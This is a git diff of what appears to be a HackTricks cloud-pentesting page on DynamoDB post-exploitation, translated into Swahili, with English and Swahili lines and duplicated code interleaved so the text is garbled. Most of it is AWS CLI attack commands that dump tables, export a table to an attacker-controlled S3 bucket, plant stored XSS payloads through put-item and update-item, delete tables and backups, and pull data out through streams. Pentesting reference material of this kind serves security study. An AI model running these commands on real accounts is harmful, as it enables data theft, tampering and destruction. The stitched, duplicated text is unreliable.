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Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
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@@ -4,7 +4,7 @@
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## DynamoDB
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For more information check:
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Kwa maelezo zaidi angalia:
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{{#ref}}
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../aws-services/aws-dynamodb-enum.md
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@@ -12,342 +12,292 @@ For more information check:
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### `dynamodb:BatchGetItem`
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An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
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Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwa meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha kuwa unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`).
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{{#tabs }}
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{{#tab name="json file" }}
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```bash
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aws dynamodb batch-get-item --request-items file:///tmp/a.json
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// With a.json
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{
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"ProductCatalog" : { // This is the table name
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"Keys": [
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{
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"Id" : { // Primary keys name
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"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
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}
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}
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]
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}
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"ProductCatalog" : { // This is the table name
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"Keys": [
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{
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"Id" : { // Primary keys name
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"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
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}
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}
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]
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}
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}
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```
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{{#endtab }}
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{{#tab name="inline" }}
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```bash
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aws dynamodb batch-get-item \
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--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
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--region <region>
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--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
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--region <region>
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```
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{{#endtab }}
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{{#endtabs }}
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**Potential Impact:** Indirect privesc by locating sensitive information in the table
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
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### `dynamodb:GetItem`
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**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
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**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata:
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```json
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aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
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// With a.json
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{
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"Id" : {
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"N": "205"
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"N": "205"
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}
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}
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```
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With this permission it's also possible to use the **`transact-get-items`** method like:
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Na ruhusa hii, pia inawezekana kutumia njia ya **`transact-get-items`** kama:
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```json
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aws dynamodb transact-get-items \
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--transact-items file:///tmp/a.json
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--transact-items file:///tmp/a.json
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// With a.json
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[
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{
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"Get": {
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"Key": {
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"Id": {"N": "205"}
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},
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"TableName": "ProductCatalog"
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}
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}
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{
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"Get": {
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"Key": {
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"Id": {"N": "205"}
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},
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"TableName": "ProductCatalog"
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}
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}
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]
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```
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**Potential Impact:** Indirect privesc by locating sensitive information in the table
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
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### `dynamodb:Query`
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**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
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**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutumia ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [sehemu ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.
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{{#tabs }}
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{{#tab name="json file" }}
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```bash
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aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
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// With a.json
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{
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// With a.json
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{
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"Id" : {
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"ComparisonOperator":"EQ",
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"AttributeValueList": [ {"N": "205"} ]
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}
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"ComparisonOperator":"EQ",
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"AttributeValueList": [ {"N": "205"} ]
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}
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}
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```
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{{#endtab }}
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{{#tab name="inline" }}
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```bash
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aws dynamodb query \
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--table-name TargetTable \
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--key-condition-expression "AttributeName = :value" \
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--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
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--region <region>
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--table-name TargetTable \
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--key-condition-expression "AttributeName = :value" \
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--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
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--region <region>
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```
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{{#endtab }}
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{{#endtabs }}
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**Potential Impact:** Indirect privesc by locating sensitive information in the table
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
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### `dynamodb:Scan`
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You can use this permission to **dump the entire table easily**.
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Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**.
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```bash
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aws dynamodb scan --table-name <t_name> #Get data inside the table
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```
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**Potential Impact:** Indirect privesc by locating sensitive information in the table
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
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### `dynamodb:PartiQLSelect`
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You can use this permission to **dump the entire table easily**.
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Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**.
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```bash
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aws dynamodb execute-statement \
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--statement "SELECT * FROM ProductCatalog"
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--statement "SELECT * FROM ProductCatalog"
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```
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This permission also allow to perform `batch-execute-statement` like:
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Hii ruhusa pia inaruhusu kutekeleza `batch-execute-statement` kama:
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```bash
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aws dynamodb batch-execute-statement \
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--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
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--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
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```
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lakini unahitaji kubainisha ufunguo wa msingi na thamani, hivyo siyo faida sana.
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but you need to specify the primary key with a value, so it isn't that useful.
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**Potential Impact:** Indirect privesc by locating sensitive information in the table
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
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### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
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This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
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Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali lote kwenye kikasha cha S3** alichokichagua:
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```bash
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aws dynamodb export-table-to-point-in-time \
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--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
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--s3-bucket <attacker_s3_bucket> \
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--s3-prefix <optional_prefix> \
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--export-time <point_in_time> \
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--region <region>
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--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
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--s3-bucket <attacker_s3_bucket> \
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--s3-prefix <optional_prefix> \
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--export-time <point_in_time> \
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--region <region>
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```
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Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
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Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery iliyoanzishwa, unaweza kuangalia kama jedwali lina hiyo kwa:
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```bash
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aws dynamodb describe-continuous-backups \
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--table-name <tablename>
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--table-name <tablename>
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```
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If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
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Ikiwa haijawashwa, utahitaji **kuwasha** na kwa hiyo unahitaji ruhusa **`dynamodb:ExportTableToPointInTime`**:
|
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```bash
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aws dynamodb update-continuous-backups \
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--table-name <value> \
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--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
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--table-name <value> \
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--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
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```
|
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|
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**Potential Impact:** Indirect privesc by locating sensitive information in the table
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
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### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
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With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
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Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda nakala ya akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo haziwezi kuwa tena katika jedwali la uzalishaji.
|
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```bash
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aws dynamodb restore-table-from-backup \
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--backup-arn <source-backup-arn> \
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--target-table-name <new-table-name> \
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--region <region>
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--backup-arn <source-backup-arn> \
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--target-table-name <new-table-name> \
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--region <region>
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```
|
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|
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**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
|
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**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika nakala ya meza
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|
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### `dynamodb:PutItem`
|
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This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
|
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Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **.**
|
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|
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{{#tabs }}
|
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{{#tab name="XSS Example" }}
|
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|
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```bash
|
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## Create new item with XSS payload
|
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aws dynamodb put-item --table <table_name> --item file://add.json
|
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### With add.json:
|
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{
|
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"Id": {
|
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"S": "1000"
|
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},
|
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"Name": {
|
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"S": "Marc"
|
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},
|
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"Description": {
|
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"S": "<script>alert(1)</script>"
|
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}
|
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"Id": {
|
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"S": "1000"
|
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},
|
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"Name": {
|
||||
"S": "Marc"
|
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},
|
||||
"Description": {
|
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"S": "<script>alert(1)</script>"
|
||||
}
|
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}
|
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```
|
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|
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{{#endtab }}
|
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|
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{{#tab name="AI Example" }}
|
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|
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```bash
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aws dynamodb put-item \
|
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--table-name ExampleTable \
|
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--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
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--region <region>
|
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--table-name ExampleTable \
|
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--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**Madhara Yanayoweza Kutokea:** Ukatili wa udhaifu zaidi/kuvunjika kwa sheria kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
|
||||
Ruhusa hii inawaruhusu watumiaji **kubadilisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee**. Haifanyi **mabadiliko** ya kipengee chote; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika jedwali, operesheni itafanya **kuunda kipengee kipya** chenye funguo kuu iliyotajwa na kuweka sifa zilizotajwa katika muktadha wa sasisho.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
--key file://key.json --update-expression "SET Description = :value" \
|
||||
--expression-attribute-values file://val.json
|
||||
### With key.json:
|
||||
{
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
"Id": {
|
||||
"S": "1000"
|
||||
}
|
||||
}
|
||||
### and val.json
|
||||
{
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
":value": {
|
||||
"S": "<script>alert(1)</script>"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI Example" }}
|
||||
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
--table-name ExampleTable \
|
||||
--key '{"Id": {"S": "1"}}' \
|
||||
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
|
||||
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
|
||||
**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu/kuvunjwa zaidi kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB table, causing data loss**.
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupoteza data**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and disruption of services relying on the deleted table.
|
||||
**Madhara yanayoweza kutokea**: Kupoteza data na kuingiliwa kwa huduma zinazotegemea meza iliyofutwa.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kuokoa dharura**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.
|
||||
**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya dharura ya urejeleaji.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if this actually works
|
||||
> TODO: Jaribu kama hii inafanya kazi
|
||||
|
||||
An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
|
||||
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
Mshambuliaji mwenye ruhusa hizi anaweza **kuwezesha mtiririko kwenye meza ya DynamoDB, kusasisha meza ili kuanza kutiririsha mabadiliko, na kisha kufikia mtiririko ili kufuatilia mabadiliko kwenye meza kwa wakati halisi**. Hii inamruhusu mshambuliaji kufuatilia na kuhamasisha mabadiliko ya data, ambayo yanaweza kusababisha uvujaji wa data.
|
||||
|
||||
1. Wezesha mtiririko kwenye meza ya DynamoDB:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
2. Describe the stream to obtain the ARN and other details:
|
||||
|
||||
2. Eleza mchakato wa kupata ARN na maelezo mengine:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
3. Get the shard iterator using the stream ARN:
|
||||
|
||||
3. Pata iterator ya shard ukitumia ARN ya mtiririko:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
4. Use the shard iterator to access and exfiltrate data from the stream:
|
||||
|
||||
4. Tumia iterator ya shard kufikia na kutoa data kutoka kwa mtiririko:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
|
||||
**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user